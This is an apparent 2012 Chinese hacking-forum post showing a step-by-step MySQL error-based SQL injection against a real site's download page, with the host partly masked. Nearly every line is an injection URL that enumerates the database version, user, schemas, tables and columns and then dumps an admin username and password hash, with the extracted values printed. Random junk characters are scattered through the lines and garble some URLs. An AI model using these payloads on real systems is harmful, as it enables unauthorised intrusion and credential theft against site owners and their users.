中国网络渗透测试联盟

标题: php+mysql高级爆错注入经测算有效 [打印本页]
作者: admin    时间: 2012-9-13 17:52
标题: php+mysql高级爆错注入经测算有效
http://www.wooyun.org/bugs/wooyun-2010-01666  j3 d% W7 m4 j
/ q9 B) C2 w$ Z8 Y
之前想找个测试 没想到这有 可以测试下做个记录而已
+ Z% I  E* C4 j  ?$ T& m& @7 u. d) X: u
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
7 r6 ]$ B8 {  Z" M( z3 [: Z1 H3 _
/data0/htdocs/leqi_new/app/myapp.php  H3 s$ }% X$ t' H9 v, k# ?3 ^" y
( i- ~; E5 ?* b: W* k  h2 t# f( x
或者
5 K( h& G6 C) M! K% w3 B) L5 d! {
& c: p8 k! O5 ]7 j/**********version()**********/ 5.1.49-log, t6 l- g' Y: c# _2 I3 S0 ^1 ]
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0034 p* k- q9 L2 ~/ @

; {6 A* `7 s, N0 i: w/**********user()**********/  
, {# t# U% G- l  ohttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
8 W2 l( v/ X* A" J
1 I: h( r7 m+ p( w# x: f/**********database()**********/  leqi8 Z* @% _8 A2 U# c2 M5 P
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
6 @4 y7 Z. D* c( ^7 w1 F! P' l" Q' O
/**********limit依次递归爆库**********/; D8 z( \  @5 D
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003; a9 s9 Q" @8 _, }# G9 V
information_schema
) O/ s( e; U* Q3 O6 x+ bhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
5 z6 ~* I/ J! P6 ileqi
! P& w" F, T- w! g# H1 |8 n- E. R+ rhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
# M3 i! Z* n# c$ |; Ttest
! Q0 {6 V* w3 s; |7 |, y+ r9 O6 c3 v8 \1 \5 f3 \8 C5 r. L
/**********limit依次递归爆表名**********/: E3 ^- h( N' t/ U% }0 |& c
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
" F0 I  d: x' z0 H  busers/ ^5 ^0 T* t1 e+ Q
/ W- T3 Y0 Y3 Q4 X6 u1 Q% `- d
/**********limit依次递归爆字段名**********/7 u. F7 E& L4 y
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0039 x. u; _  a9 J" d
user_id,username,nickname,passwd,group_id
1 z( R  @+ a/ ]& {( t$ v" R9 i! V2 fhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23( n2 e( @6 g+ _
/wapc/5000_0005_003. S$ i& \6 L: M  ]5 P, T  N2 t+ y' g- K
11 21
0 ~2 q# U7 D8 W, Y! qhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23- R# z3 k0 ]+ s
/wapc/5000_0005_0033 \* y. d- Y+ `
11 341 351 361
9 d0 |( r' M" |- K8 v3 s/**********爆数据**********/, V" S  z# S, \0 c3 @. d
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
& a5 K; i9 |7 Badmin/ }- V9 N1 c. }( x/ e& D
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%239 t( h$ N( M6 U
6a8b4574ca231eb8bd52764d4978ffcd
6 z9 M9 x- t9 _0 t( f2 P  _4 l) Y  t9 p9 }. c

$ Y$ K' I1 i0 [  M1 ~



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2